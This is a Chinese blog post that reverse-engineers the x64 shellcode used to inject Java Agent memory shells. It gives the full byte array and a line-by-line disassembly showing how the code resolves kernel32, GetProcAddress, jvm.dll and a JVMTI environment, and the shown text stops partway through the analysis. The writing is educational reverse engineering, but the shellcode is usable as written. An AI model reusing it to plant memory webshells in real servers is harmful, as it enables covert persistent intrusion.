最近在看 agent 内存马,然后发现了 rebeyond 师傅写的宝藏文章论如何优雅的注入 Java Agent 内存马,不过里面和常规的内存马不同使用了可执行的 bytes,不过之前学过部分 pwn,因此看到能够执行的 bytes shellcode 很感兴趣,所以想分析一波 (事实证明这玩意入门真的难)
shellcode 转化为汇编
原本的 shellcode 是 bytes,我们还没有全能到直接看 byte 流,因此需要把它变成汇编代码,因此我们需要写一段 java 代码把 byte 写到文件里面再放到 IDA 里面分析
package org.example;
import java.io.FileOutputStream;
import java.io.IOException;
//64 位 shellcode
public class WriteBytesToFile {
public static void main(String[] args) {
byte[] buf=new byte[]{(byte)0x48,(byte)0x83,(byte)0xEC,(byte)0x28,(byte)0x48,(byte)0x83,(byte)0xE4,(byte)0xF0,(byte)0x48,(byte)0x31,(byte)0xC9,(byte)0x65,(byte)0x48,(byte)0x8B,(byte)0x41,(byte)0x60,(byte)0x48,(byte)0x8B,(byte)0x40,(byte)0x18,(byte)0x48,(byte)0x8B,(byte)0x70,(byte)0x20,(byte)0x48,(byte)0xAD,(byte)0x48,(byte)0x96,(byte)0x48,(byte)0xAD,(byte)0x48,(byte)0x8B,(byte)0x58,(byte)0x20,(byte)0x4D,(byte)0x31,(byte)0xC0,(byte)0x44,(byte)0x8B,(byte)0x43,(byte)0x3C,(byte)0x4C,(byte)0x89,(byte)0xC2,(byte)0x48,(byte)0x01,(byte)0xDA,(byte)0x44,(byte)0x8B,(byte)0x82,(byte)0x88,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x49,(byte)0x01,(byte)0xD8,(byte)0x48,(byte)0x31,(byte)0xF6,(byte)0x41,(byte)0x8B,(byte)0x70,(byte)0x20,(byte)0x48,(byte)0x01,(byte)0xDE,(byte)0x48,(byte)0x31,(byte)0xC9,(byte)0x49,(byte)0xB9,(byte)0x47,(byte)0x65,(byte)0x74,(byte)0x50,(byte)0x72,(byte)0x6F,(byte)0x63,(byte)0x41,(byte)0x48,(byte)0xFF,(byte)0xC1,(byte)0x48,(byte)0x31,(byte)0xC0,(byte)0x8B,(byte)0x04,(byte)0x8E,(byte)0x48,(byte)0x01,(byte)0xD8,(byte)0x4C,(byte)0x39,(byte)0x08,(byte)0x75,(byte)0xEF,(byte)0x48,(byte)0x31,(byte)0xF6,(byte)0x41,(byte)0x8B,(byte)0x70,(byte)0x24,(byte)0x48,(byte)0x01,(byte)0xDE,(byte)0x66,(byte)0x8B,(byte)0x0C,(byte)0x4E,(byte)0x48,(byte)0x31,(byte)0xF6,(byte)0x41,(byte)0x8B,(byte)0x70,(byte)0x1C,(byte)0x48,(byte)0x01,(byte)0xDE,(byte)0x48,(byte)0x31,(byte)0xD2,(byte)0x8B,(byte)0x14,(byte)0x8E,(byte)0x48,(byte)0x01,(byte)0xDA,(byte)0x48,(byte)0x89,(byte)0xD7,(byte)0xB9,(byte)0x61,(byte)0x72,(byte)0x79,(byte)0x41,(byte)0x51,(byte)0x48,(byte)0xB9,(byte)0x4C,(byte)0x6F,(byte)0x61,(byte)0x64,(byte)0x4C,(byte)0x69,(byte)0x62,(byte)0x72,(byte)0x51,(byte)0x48,(byte)0x89,(byte)0xE2,(byte)0x48,(byte)0x89,(byte)0xD9,(byte)0x48,(byte)0x83,(byte)0xEC,(byte)0x30,(byte)0xFF,(byte)0xD7,(byte)0x48,(byte)0x83,(byte)0xC4,(byte)0x30,(byte)0x48,(byte)0x83,(byte)0xC4,(byte)0x10,(byte)0x48,(byte)0x89,(byte)0xC6,(byte)0xB9,(byte)0x6C,(byte)0x6C,(byte)0x00,(byte)0x00,(byte)0x51,(byte)0xB9,(byte)0x6A,(byte)0x76,(byte)0x6D,(byte)0x00,(byte)0x51,(byte)0x48,(byte)0x89,(byte)0xE1,(byte)0x48,(byte)0x83,(byte)0xEC,(byte)0x30,(byte)0xFF,(byte)0xD6,(byte)0x48,(byte)0x83,(byte)0xC4,(byte)0x30,(byte)0x48,(byte)0x83,(byte)0xC4,(byte)0x10,(byte)0x49,(byte)0x89,(byte)0xC7,(byte)0x48,(byte)0x31,(byte)0xC9,(byte)0x48,(byte)0xB9,(byte)0x76,(byte)0x61,(byte)0x56,(byte)0x4D,(byte)0x73,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x51,(byte)0x48,(byte)0xB9,(byte)0x72,(byte)0x65,(byte)0x61,(byte)0x74,(byte)0x65,(byte)0x64,(byte)0x4A,(byte)0x61,(byte)0x51,(byte)0x48,(byte)0xB9,(byte)0x4A,(byte)0x4E,(byte)0x49,(byte)0x5F,(byte)0x47,(byte)0x65,(byte)0x74,(byte)0x43,(byte)0x51,(byte)0x48,(byte)0x89,(byte)0xE2,(byte)0x4C,(byte)0x89,(byte)0xF9,(byte)0x48,(byte)0x83,(byte)0xEC,(byte)0x28,(byte)0xFF,(byte)0xD7,(byte)0x48,(byte)0x83,(byte)0xC4,(byte)0x28,(byte)0x48,(byte)0x83,(byte)0xC4,(byte)0x18,(byte)0x49,(byte)0x89,(byte)0xC7,(byte)0x48,(byte)0x83,(byte)0xEC,(byte)0x28,(byte)0x48,(byte)0x89,(byte)0xE1,(byte)0xBA,(byte)0x01,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x49,(byte)0x89,(byte)0xC8,(byte)0x49,(byte)0x83,(byte)0xC0,(byte)0x08,(byte)0x48,(byte)0x83,(byte)0xEC,(byte)0x28,(byte)0x41,(byte)0xFF,(byte)0xD7,(byte)0x48,(byte)0x83,(byte)0xC4,(byte)0x28,(byte)0x48,(byte)0x8B,(byte)0x09,(byte)0x48,(byte)0x83,(byte)0xEC,(byte)0x20,(byte)0x54,(byte)0x48,(byte)0x89,(byte)0xE2,(byte)0x4D,(byte)0x31,(byte)0xC0,(byte)0x4C,(byte)0x8B,(byte)0x39,(byte)0x4D,(byte)0x8B,(byte)0x7F,(byte)0x20,(byte)0x49,(byte)0x89,(byte)0xCE,(byte)0x41,(byte)0xFF,(byte)0xD7,(byte)0x4C,(byte)0x89,(byte)0xF1,(byte)0x48,(byte)0xBA,(byte)0x48,(byte)0x47,(byte)0x46,(byte)0x45,(byte)0x44,(byte)0x43,(byte)0x42,(byte)0x41,(byte)0x41,(byte)0xB8,(byte)0x00,(byte)0x02,(byte)0x01,(byte)0x30,(byte)0x4D,(byte)0x8B,(byte)0x3E,(byte)0x4D,(byte)0x8B,(byte)0x7F,(byte)0x30,(byte)0x48,(byte)0x83,(byte)0xEC,(byte)0x20,(byte)0x41,(byte)0xFF,(byte)0xD7,(byte)0x48,(byte)0x83,(byte)0xC4,(byte)0x20,(byte)0x4C,(byte)0x89,(byte)0xF1,(byte)0x4D,(byte)0x8B,(byte)0x3E,(byte)0x4D,(byte)0x8B,(byte)0x7F,(byte)0x28,(byte)0x41,(byte)0xFF,(byte)0xD7,(byte)0x48,(byte)0x83,(byte)0xC4,(byte)0x78,(byte)0xC3};
try (FileOutputStream fos = new FileOutputStream("agentshellcode")) {
fos.write(buf);
System.out.println("写入文件成功!");
} catch (IOException e) {
System.err.println("写入文件失败: " + e.getMessage());
}
}
}执行完上述代码我们就能在同目录下看到 agentshellcode 这个文件了,把它扔到 IDA 里面反编译

可以发现 shellcode 被当成数据了,这时候我们需要按下 C 键,然后点击 Yes


可以看到其已经变成汇编代码了,这样就好分析多了。
shellocde 分析
先把反汇编得到的 shellcode 列出来,其中注释为笔记。
先把 rebeyond 师傅总结的过程列出来,要知道一个 shellcode 的原理,我们先要知道它究竟干了什么
- 先获取到当前进程 kernel32.dll 的基址;
- 在 kernel32.dll 的输出表中,获取 GetProcessAddress 函数的地址;
- 调用 GetProcessAddress 获取 LoadLibraryA 函数的地址;
- 调用 LoadLibraryA 加载 jvm.dll 获取 jvm.dll 模块在当前进程中的基址;
- 调用 GerProcAddress 在 jvm.dll 中获取 JNI_GetCreatedJavaVMs 的地址;
- 调用 JNI_GetCreatedJavaVMs;
- 还原现场,安全退出线程,优雅地离开,避免 shellcode 执行完后进程崩溃。
这部分注释没写全,原理都在后面的解析里,请见谅。
sub rsp,28:将栈指针向下移动28个字节,为局部变量分配空间。
and rsp,FFFFFFFFFFFFFFF0:对栈指针进行对齐操作,使其对齐到16字节边界。
xor rcx,rcx:将寄存器rcx清零。
//gs 偏移 0x60 为 PEB 块,PEB 偏移 0x18 位为_PEB_LDR_DATA 数据是 LDR 链的地址,在 PEB_LDR_DATA 偏移 0x20 位为 InMemoryOrderModuleList 链表 (此时指向的就是链表第一位就是 exe 程序,而 Kernel32.dll 的位置为第三个)。
mov rax,qword ptr gs:[rcx+60]:从gs段寄存器中偏移60处读取值到rax寄存器。
mov rax,qword ptr ds:[rax+18]:从rax寄存器中偏移18处读取值到rax寄存器。
mov rsi,qword ptr ds:[rax+20]:从rax寄存器中偏移20处读取值到rsi寄存器。
// 通过俩次 lodsq 将 rax 指向 Kernel32.dll
lodsq:从rsi指向的内存地址读取一个64位值到rax寄存器,并将rsi增加8。
xchg rsi,rax:交换rsi和rax寄存器的值。
lodsq:从rsi指向的内存地址读取一个64位值到rax寄存器,并将rsi增加8。
// 获取基址
mov rbx,qword ptr ds:[rax+20]:从rax寄存器中偏移20处读取值到rbx寄存器。
xor r8,r8:将寄存器r8清零。
//
mov r8d,dword ptr ds:[rbx+3C]:从rbx寄存器中偏移3C处读取32位值到r8d寄存器。 // 获取 IMAGE_NT_HEADERS 的起始地址,这里获取的是偏移
mov rdx,r8:将r8寄存器的值复制到rdx寄存器。
add rdx,rbx:将rbx寄存器的值加到rdx寄存器中。 // 这边需要加上 kernel32 的地址,也就是上面说的 76B00000+000000F8
mov r8d,dword ptr ds:[rdx+88]:从rdx寄存器中偏移88处读取32位值到r8d寄存器。 // 获取 IMAGE_EXPORT_DIRECTORY 的偏移地址
add r8,rbx:将rbx寄存器的值加到r8寄存器中。 // 同样加上 kernel32 的地址
xor rsi,rsi:将寄存器rsi清零。
mov esi,dword ptr ds:[r8+20]:从r8寄存器中偏移20处读取32位值到esi寄存器。 // 获取 AddressOfNames 偏移地址
add rsi,rbx:将rbx寄存器的值加到rsi寄存器中。 // 和上面两个一样
xor rcx,rcx:将寄存器rcx清零。
mov r9,41636F7250746547:将常量41636F7250746547加载到r9寄存器中。
loc_50: // 跳转的目标地址,类似 C 里面 goto out 的 out:
inc rcx:将rcx寄存器的值加1。 //ecx 加一,计数的后面要用
xor rax,rax:将寄存器rax清零。
mov eax,dword ptr ds:[rsi+rcx*4]:从rsi寄存器加上rcx寄存器乘以4的偏移处读取32位值到eax寄存器。
add rax,rbx:将rbx寄存器的值加到rax寄存器中。
cmp qword ptr ds:[rax],r9:将rax寄存器指向的内存地址的值与r9寄存器的值进行比较。
jne short loc_50 如果不相等,则跳转到loc_50
xor rsi,rsi:将寄存器rsi清零。
mov esi,dword ptr ds:[r8+24]:从r8寄存器中偏移24处读取32位值到esi寄存器。
add rsi,rbx:将rbx寄存器的值加到rsi寄存器中。
mov cx,word ptr ds:[rsi+rcx*2]:从rsi寄存器加上rcx寄存器乘以2的偏移处读取16位值到cx寄存器。
xor rsi,rsi:将寄存器rsi清零。
mov esi,dword ptr ds:[r8+1C]:从r8寄存器中偏移1C处读取32位值到esi寄存器。
add rsi,rbx:将rbx寄存器的值加到rsi寄存器中。
xor rdx,rdx:将寄存器rdx清零。
mov edx,dword ptr ds:[rsi+rcx*4]:从rsi寄存器加上rcx寄存器乘以4的偏移处读取32位值到edx寄存器。
add rdx,rbx:将rbx寄存器的值加到rdx寄存器中。
mov rdi,rdx:将rdx寄存器的值复制到rdi寄存器。 //rdx 里面就是 GetProcAddress 函数地址
mov ecx,41797261:将常量41797261加载到ecx寄存器中。
push rcx:将ecx寄存器的值压入栈中。
mov rcx,7262694C64616F4C:将常量7262694C64616F4C加载到rcx寄存器中。
push rcx:将rcx寄存器的值压入栈中。
mov rdx,rsp:将栈指针的值复制到rdx寄存器。
mov rcx,rbx:将rbx寄存器的值复制到rcx寄存器。
sub rsp,30:将栈指针向下移动30个字节。 // 分配影子空间 (影子空间 - 堆栈上分配的 32 字节长的空白空间,用于内部 WinAPI, 好像可以大于 32 https://learn.microsoft.com/en-us/cpp/build/x64-calling-convention?view=msvc-170)
call rdi:调用rdi寄存器指向的函数。
add rsp,30:将栈指针向上移动30个字节。
add rsp,10:将栈指针向上移动10个字节。
mov rsi,rax:将rax寄存器的值复制到rsi寄存器。 //LoadLibraryA 函数地址
mov ecx,6C6C:将常量6C6C加载到ecx寄存器中。
push ecx:将ecx寄存器的值压入栈中。
mov ecx,6D766A:将常量6D766A加载到ecx寄存器中。
push ecx:将ecx寄存器的值压入栈中。
mov rcx,rsp:将栈指针的值复制到rcx寄存器。
sub rsp,30:将栈指针向下移动30个字节。
call rsi:调用rsi寄存器指向的函数。
add rsp,30:将栈指针向上移动30个字节。
add rsp,10:将栈指针向上移动10个字节。
mov r15,rax:将rax寄存器的值复制到r15寄存器。 //jvm.dll
xor rcx,rcx:将寄存器rcx清零。
mov rcx,734D566176:将常量734D566176加载到rcx寄存器中。
push rcx:将rcx寄存器的值压入栈中。
mov rcx,614A646574616572:将常量614A646574616572加载到rcx寄存器中。
push rcx:将rcx寄存器的值压入栈中。
mov rcx,437465475F494E4A:将常量437465475F494E4A加载到rcx寄存器中。
push rcx:将rcx寄存器的值压入栈中。
mov rdx,rsp:将栈指针的值复制到rdx寄存器。
mov rcx,r15:将r15寄存器的值复制到rcx寄存器。
sub rsp,28:将栈指针向下移动28个字节。 // 压入了 0x18 的数据再开辟 0x28 影子空间刚刚好栈对齐
call rdi:调用rdi寄存器指向的函数。
add rsp,28:将栈指针向上移动28个字节。
add rsp,18:将栈指针向上移动18个字节。
mov r15,rax:将rax寄存器的值复制到r15寄存器。 //JNI_GetCreatedJavaVMs
sub rsp,28:将栈指针向下移动28个字节。
mov rcx,rsp:将栈指针的值复制到rcx寄存器。
mov edx,1:将常量1加载到edx寄存器中。
mov r8,rcx:将rcx寄存器的值复制到r8寄存器。
add r8,8:将r8寄存器的值加8。
sub rsp,28:将栈指针向下移动28个字节。
call r15:调用r15寄存器指向的函数。 // 调用 JNI_GetCreatedJavaVMs (x64 调用约定寄存器顺序 RCX、RDX、R8 和 R9)
add rsp,28:将栈指针向上移动28个字节。 //RCX = 0xD8、RDX = 1、R8 = 0xE0
mov rcx,qword ptr ds:[rcx]:从rcx寄存器指向的内存地址读取64位值到rcx寄存器。 //JavaVM * 指针?
sub rsp,20:将栈指针向下移动20个字节。
push rsp:将栈指针的值压入栈中。
mov rdx,rsp:将栈指针的值复制到rdx寄存器。
xor r8,r8:将寄存器r8清零。
mov r15,qword ptr ds:[rcx]:从rcx寄存器指向的内存地址读取64位值到r15寄存器。
mov r15,qword ptr ds:[r15+20]:从r15寄存器中偏移20处读取值到r15寄存器。 // 附加进程
mov r14,rcx:将rcx寄存器的值复制到r14寄存器。
call r15:调用r15寄存器指向的函数。
mov rcx,r14:将r14寄存器的值复制到rcx寄存器。
mov rdx,562F75A8:将常量562F75A8加载到rdx寄存器中。
mov r8d,30010200:将常量30010200加载到r8d寄存器中。 //jint version:关于该值的设置,游望之师傅使用了 JVMTI_VERSION_1_2 的值 0x30010200:
mov r15,qword ptr ds:[r14]:从r14寄存器指向的内存地址读取64位值到r15寄存器。
mov r15,qword ptr ds:[r15+30]:从r15寄存器中偏移30处读取值到r15寄存器。 // 为 JNIInvokeInterface_里的第 7 个指针,偏移为 0x30
sub rsp,20:将栈指针向下移动20个字节。
call r15:调用r15寄存器指向的函数。 // 调用 GetEnv () 函数
add rsp,20:将栈指针向上移动20个字节。
mov rcx,r14:将r14寄存器的值复制到rcx寄存器。
mov r15,qword ptr ds:[r14]:从r14寄存器指向的内存地址读取64位值到r15寄存器。
mov r15,qword ptr ds:[r15+28]:从r15寄存器中偏移28处读取值到r15寄存器。 // 脱离进程
call r15:调用r15寄存器指向的函数。
add rsp,78:将栈指针向上移动78个字节。
ret:从函数返回。因为这个汇编太长了,因此一部分一部分的分析。
sub rsp,28:将栈指针向下移动28个字节,为局部变量分配空间。
and rsp,FFFFFFFFFFFFFFF0:对栈指针进行对齐操作,使其对齐到16字节边界。
xor rcx,rcx:将寄存器rcx清零。首先是进行了下移 28 字节 (个人猜测为分配影子空间,但是这里也没执行函数),然后栈对齐 (这是必须的),最后 xor 清空 rcx 寄存器,这部分应该算准备部分吧。
而关于影子空间的介绍:在 x64 架构中,由于寄存器数量的限制和对系统调用的特定要求,影子空间被引入用于弥补这些不足。影子空间提供了一段额外的栈空间,以便在函数调用期间保存一些参数。
而在x64 调用约定里规定的常用寄存器的顺序为 RCX、RDX、R8 和 R9,这就和我们后面函数调用时的参数息息相关。
//gs 偏移 0x60 为 PEB 块,PEB 偏移 0x18 位为_PEB_LDR_DATA 数据是 LDR 链的地址,在 PEB_LDR_DATA 偏移 0x20 位为 InMemoryOrderModuleList 链表 (此时指向的就是链表第一位就是 exe 程序,而 Kernel32.dll 的位置为第三个)。
mov rax,qword ptr gs:[rcx+60]:从gs段寄存器中偏移60处读取值到rax寄存器。
mov rax,qword ptr ds:[rax+18]:从rax寄存器中偏移18处读取值到rax寄存器。
mov rsi,qword ptr ds:[rax+20]:从rax寄存器中偏移20处读取值到rsi寄存器。
// 通过俩次 lodsq 将 rax 指向 Kernel32.dll
lodsq:从rsi指向的内存地址读取一个64位值到rax寄存器,并将rsi增加8。
xchg rsi,rax:交换rsi和rax寄存器的值。
lodsq:从rsi指向的内存地址读取一个64位值到rax寄存器,并将rsi增加8。
// 获取基址
mov rbx,qword ptr ds:[rax+20]:从rax寄存器中偏移20处读取值到rbx寄存器。
xor r8,r8:将寄存器r8清零。这部分就开始从当前进程获取 kernel32.dll 的基址,其中 gs 寄存器指向程序的 TEB 块,而在 x64 里面 PEB 块在 TEB 偏移 0x60 处 (x32 位 0x30),因此将 rax 赋值为 PEB 进程块的起始地址,而在 PEB 偏移 0x18 位为_PEB_LDR_DATA,我们看一下_PEB_LDR_DATA 里面有什么。如果你想自己查这些数据可以看看这个网站,不过注意需要魔法哦
//0x58 bytes (sizeof)
struct _PEB_LDR_DATA
{
ULONG Length; //0x0
UCHAR Initialized; //0x4
VOID* SsHandle; //0x8
struct _LIST_ENTRY InLoadOrderModuleList; //0x10
struct _LIST_ENTRY InMemoryOrderModuleList; //0x20
struct _LIST_ENTRY InInitializationOrderModuleList; //0x30
VOID* EntryInProgress; //0x40
UCHAR ShutdownInProgress; //0x48
VOID* ShutdownThreadId; //0x50
};而我们需要用到的是 InMemoryOrderModuleList (其偏移为 0x20), 其是一个_LIST_ENTRY 结构体,搜索一下。
//0x10 bytes (sizeof)
struct _LIST_ENTRY
{
struct _LIST_ENTRY* Flink; //0x0
struct _LIST_ENTRY* Blink; //0x8
};而我们需要通过 LDR_DATA_TABLE_ENTRY 结构体来获取已加载 DLL 的信息结构体
//0x138 bytes (sizeof)
struct _LDR_DATA_TABLE_ENTRY
{
struct _LIST_ENTRY InLoadOrderLinks; //0x0
struct _LIST_ENTRY InMemoryOrderLinks; //0x10
struct _LIST_ENTRY InInitializationOrderLinks; //0x20
VOID* DllBase; //0x30
VOID* EntryPoint; //0x38
ULONG SizeOfImage; //0x40
struct _UNICODE_STRING FullDllName; //0x48
struct _UNICODE_STRING BaseDllName; //0x58
union
{
UCHAR FlagGroup[4]; //0x68
ULONG Flags; //0x68
struct
{
ULONG PackagedBinary:1; //0x68
ULONG MarkedForRemoval:1; //0x68
ULONG ImageDll:1; //0x68
ULONG LoadNotificationsSent:1; //0x68
ULONG TelemetryEntryProcessed:1; //0x68
ULONG ProcessStaticImport:1; //0x68
ULONG InLegacyLists:1; //0x68
ULONG InIndexes:1; //0x68
ULONG ShimDll:1; //0x68
ULONG InExceptionTable:1; //0x68
ULONG ReservedFlags1:2; //0x68
ULONG LoadInProgress:1; //0x68
ULONG LoadConfigProcessed:1; //0x68
ULONG EntryProcessed:1; //0x68
ULONG ProtectDelayLoad:1; //0x68
ULONG ReservedFlags3:2; //0x68
ULONG DontCallForThreads:1; //0x68
ULONG ProcessAttachCalled:1; //0x68
ULONG ProcessAttachFailed:1; //0x68
ULONG CorDeferredValidate:1; //0x68
ULONG CorImage:1; //0x68
ULONG DontRelocate:1; //0x68
ULONG CorILOnly:1; //0x68
ULONG ChpeImage:1; //0x68
ULONG ChpeEmulatorImage:1; //0x68
ULONG ReservedFlags5:1; //0x68
ULONG Redirected:1; //0x68
ULONG ReservedFlags6:2; //0x68
ULONG CompatDatabaseProcessed:1; //0x68
};
};
USHORT ObsoleteLoadCount; //0x6c
USHORT TlsIndex; //0x6e
struct _LIST_ENTRY HashLinks; //0x70
ULONG TimeDateStamp; //0x80
struct _ACTIVATION_CONTEXT* EntryPointActivationContext; //0x88
VOID* Lock; //0x90
struct _LDR_DDAG_NODE* DdagNode; //0x98
struct _LIST_ENTRY NodeModuleLink; //0xa0
struct _LDRP_LOAD_CONTEXT* LoadContext; //0xb0
VOID* ParentDllBase; //0xb8
VOID* SwitchBackContext; //0xc0
struct _RTL_BALANCED_NODE BaseAddressIndexNode; //0xc8
struct _RTL_BALANCED_NODE MappingInfoIndexNode; //0xe0
ULONGLONG OriginalBase; //0xf8
union _LARGE_INTEGER LoadTime; //0x100
ULONG BaseNameHashValue; //0x108
enum _LDR_DLL_LOAD_REASON LoadReason; //0x10c
ULONG ImplicitPathOptions; //0x110
ULONG ReferenceCount; //0x114
ULONG DependentLoadFlags; //0x118
UCHAR SigningLevel; //0x11c
ULONG CheckSum; //0x120
VOID* ActivePatchImageBase; //0x128
enum _LDR_HOT_PATCH_STATE HotPatchState; //0x130
};InMemoryOrderModuleList 字段是一个指针,指向 LDR_DATA_TABLE_ENTRY 结构体上的 LIST_ENTRY 字段,但是它不是指向 LDR_DATA_TABLE_ENTRY 起始位置的指针,而是指向这个结构的 InMemoryOrderLinks 字段。而其中我们需要的基地址就是 DllBase,偏移为 0x20,不过这是一个链表,我们当前所在的就是我们当前执行的程序是第一个,并不是 kernel32.dll,因此我们需要通过链表找到 kernel32.dll,幸运的是其被加载时就在第三位
lodsq:从rsi指向的内存地址读取一个64位值到rax寄存器,并将rsi增加8。
xchg rsi,rax:交换rsi和rax寄存器的值。
lodsq:从rsi指向的内存地址读取一个64位值到rax寄存器,并将rsi增加8。
// 获取基址
mov rbx,qword ptr ds:[rax+20]:从rax寄存器中偏移20处读取值到rbx寄存器。
xor r8,r8:将寄存器r8清零。刚刚上面说了 kernel32.dll 在链表里排在第三位,因此这部分代码就是先从 rsi 指向的地址读取其指向的第二个链表到 rax 里面,然后交换 rsi 和 rax,这时候 rsi 的值就是链表第二位了,再继续从 rsi 指向的地址读取其指向的第三个链表到 rax 里面,此时 rax 就是 kernel32.dll 所在的第三个链表的 InMemoryOrderLinks 处了,而在链表里 DllBase (0x30)-InMemoryOrderLinks (0x10) = 0x20, 偏移为 0x20,因此直接将 rax 寄存器中偏移 20 处的值读取到 rbx 寄存器,此时 rbx 的值就是 kernel32.dll 的基址了!而最后执行的代码是 r8 寄存器清零,即清空寄存器。
而这接下来就是如何通过 kernel32.dll 地址找到 GetProcAddress 函数地址,这里需要解析 kernel32.DLL 文件的 PE 头找到导出表 (dll 文件也是 PE 文件格式),需要找到 PE 头,在 PE 文件结构中,是用 IMAGE_DOS_HEADER 结构体来定义 DOS 文件头
//0x40 bytes (sizeof)
struct _IMAGE_DOS_HEADER
{
USHORT e_magic; //0x0
USHORT e_cblp; //0x2
USHORT e_cp; //0x4
USHORT e_crlc; //0x6
USHORT e_cparhdr; //0x8
USHORT e_minalloc; //0xa
USHORT e_maxalloc; //0xc
USHORT e_ss; //0xe
USHORT e_sp; //0x10
USHORT e_csum; //0x12
USHORT e_ip; //0x14
USHORT e_cs; //0x16
USHORT e_lfarlc; //0x18
USHORT e_ovno; //0x1a
USHORT e_res[4]; //0x1c
USHORT e_oemid; //0x24
USHORT e_oeminfo; //0x26
USHORT e_res2[10]; //0x28
LONG e_lfanew; //0x3c
};其中有用的两个字段,分别是 e_magic 和 e_lfanew,其中 e_magic 是 dos 签名:标志这是 dos 头,e_lfanew 记载 PE 头的在文件中偏移,而我们要拿到 e_lfanew 值,通过它来找到 NT 文件头,这里偏移量为 0x3c
//0x108 bytes (sizeof)
struct _IMAGE_NT_HEADERS64
{
ULONG Signature; //0x0
struct _IMAGE_FILE_HEADER FileHeader; //0x4
struct _IMAGE_OPTIONAL_HEADER64 OptionalHeader; //0x18
};注意这里的 OptionalHeader,其为_IMAGE_OPTIONAL_HEADER64 结构体
//0xf0 bytes (sizeof)
struct _IMAGE_OPTIONAL_HEADER64
{
USHORT Magic; //0x0
UCHAR MajorLinkerVersion; //0x2
UCHAR MinorLinkerVersion; //0x3
ULONG SizeOfCode; //0x4
ULONG SizeOfInitializedData; //0x8
ULONG SizeOfUninitializedData; //0xc
ULONG AddressOfEntryPoint; //0x10
ULONG BaseOfCode; //0x14
ULONGLONG ImageBase; //0x18
ULONG SectionAlignment; //0x20
ULONG FileAlignment; //0x24
USHORT MajorOperatingSystemVersion; //0x28
USHORT MinorOperatingSystemVersion; //0x2a
USHORT MajorImageVersion; //0x2c
USHORT MinorImageVersion; //0x2e
USHORT MajorSubsystemVersion; //0x30
USHORT MinorSubsystemVersion; //0x32
ULONG Win32VersionValue; //0x34
ULONG SizeOfImage; //0x38
ULONG SizeOfHeaders; //0x3c
ULONG CheckSum; //0x40
USHORT Subsystem; //0x44
USHORT DllCharacteristics; //0x46
ULONGLONG SizeOfStackReserve; //0x48
ULONGLONG SizeOfStackCommit; //0x50
ULONGLONG SizeOfHeapReserve; //0x58
ULONGLONG SizeOfHeapCommit; //0x60
ULONG LoaderFlags; //0x68
ULONG NumberOfRvaAndSizes; //0x6c
struct _IMAGE_DATA_DIRECTORY DataDirectory[16]; //0x70
};这里我们需要的是 DataDirectory 字段,因为在这个字段中有导出表的数据块,这里的偏移量为 0x70,其为_IMAGE_DATA_DIRECTORY 结构
//0x8 bytes (sizeof)
struct _IMAGE_DATA_DIRECTORY
{
ULONG VirtualAddress; //RVA (相对虚拟地址) //0x0
ULONG Size; //0x4
};
上述截图取自shellcode 编写指南
这是上面 DataDirectory 的 16 个数据块,而我们需要的导出表就在第一位,而导出表的实际结构如下
// 其中 WORD 占 2 字节,DWORD 占 4 字节
typedef struct _IMAGE_EXPORT_DIRECTORY {
DWORD Characteristics;
DWORD TimeDateStamp; // 时间戳。编译的时间。把秒转为时间。可以知道这个 DLL 是什么时候编译出来的. 0x4
WORD MajorVersion; //0x6
WORD MinorVersion; //0x8
DWORD Name; // 指向该导出表文件名的字符串,也就是这个 DLL 的名称 0xc
DWORD Base; // 导出函数的起始序号 0x10
DWORD NumberOfFunctions; // 所有的导出函数的个数 0x14
DWORD NumberOfNames; // 以名字导出的函数的个数 0x18
DWORD AddressOfFunctions; // 导出的函数地址的地址表 RVA 也就是 函数地址表 0x1c
DWORD AddressOfNames; // 导出的函数名称表的 RVA 也就是 函数名称表 0x20
DWORD AddressOfNameOrdinals; // 导出函数序号表的 RVA 也就是 函数序号表 0x24
} IMAGE_EXPORT_DIRECTORY, *PIMAGE_EXPORT_DIRECTORY;现在我们继续来看这部分代码
mov r8d,dword ptr ds:[rbx+3C]:从rbx寄存器中偏移3C处读取32位值到r8d寄存器。 // 获取 IMAGE_NT_HEADERS 的起始地址,这里获取的是偏移
mov rdx,r8:将r8寄存器的值复制到rdx寄存器。
add rdx,rbx:将rbx寄存器的值加到rdx寄存器中。 // 这边需要加上 kernel32 的地址,也就是上面说的 76B00000+000000F8,得到 NT 文件头的地址
mov r8d,dword ptr ds:[rdx+88]:从rdx寄存器中偏移88处读取32位值到r8d寄存器。 // 获取 IMAGE_EXPORT_DIRECTORY 的偏移地址,即导出表偏移地址
add r8,rbx:将rbx寄存器的值加到r8寄存器中。 // 同样加上 kernel32 的地址
xor rsi,rsi:将寄存器rsi清零。
mov esi,dword ptr ds:[r8+20]:从r8寄存器中偏移20处读取32位值到esi寄存器。 // 获取 AddressOfNames 偏移地址
add rsi,rbx:将rbx寄存器的值加到rsi寄存器中。 // 和上面两个一样
xor rcx,rcx:将寄存器rcx清零。可以看到其先是从文件头中取出了 PE 头的偏移,然后将其赋值给 rdx,然后再和 rbx (其内存储的是我们上部分获取的 kernel32 基址) 相加,这时候 rdx 的地址就是 NT 文件头的地址了,此时从 NT 文件头里面取出导出表,其偏移为 0x18+0x70=0x88,因为其在 OptionalHeader 里面,而 OptionalHeader 的偏移为 0x18,而在_IMAGE_OPTIONAL_HEADER64 里面的偏移为 0x70,所以为 0x88。然后从里面取出导出表偏移地址赋值给 r8 (r8d 为 r8 的低地址,即低 4 字节),r8 寄存器再加上基址就得到了导出表的地址,再清空 rsi,而 r8+0x20 指向的正好是 AddressOfNames, 此处存储的是函数名称表的虚拟地址。然后再加上 rbx (基址) 得到函数名称表的真实地址存储在 rsi,最后清空 rcx。
mov r9,41636F7250746547:将常量41636F7250746547加载到r9寄存器中。
loc_50: // 跳转的目标地址,类似 C 里面 goto out 的 out:
inc rcx:将rcx寄存器的值加1。 //ecx 加一,计数的后面要用
xor rax,rax:将寄存器rax清零。
mov eax,dword ptr ds:[rsi+rcx*4]:从rsi寄存器加上rcx寄存器乘以4的偏移处读取32位值到eax寄存器。
add rax,rbx:将rbx寄存器的值加到rax寄存器中。
cmp qword ptr ds:[rax],r9:将rax寄存器指向的内存地址的值与r9寄存器的值进行比较。
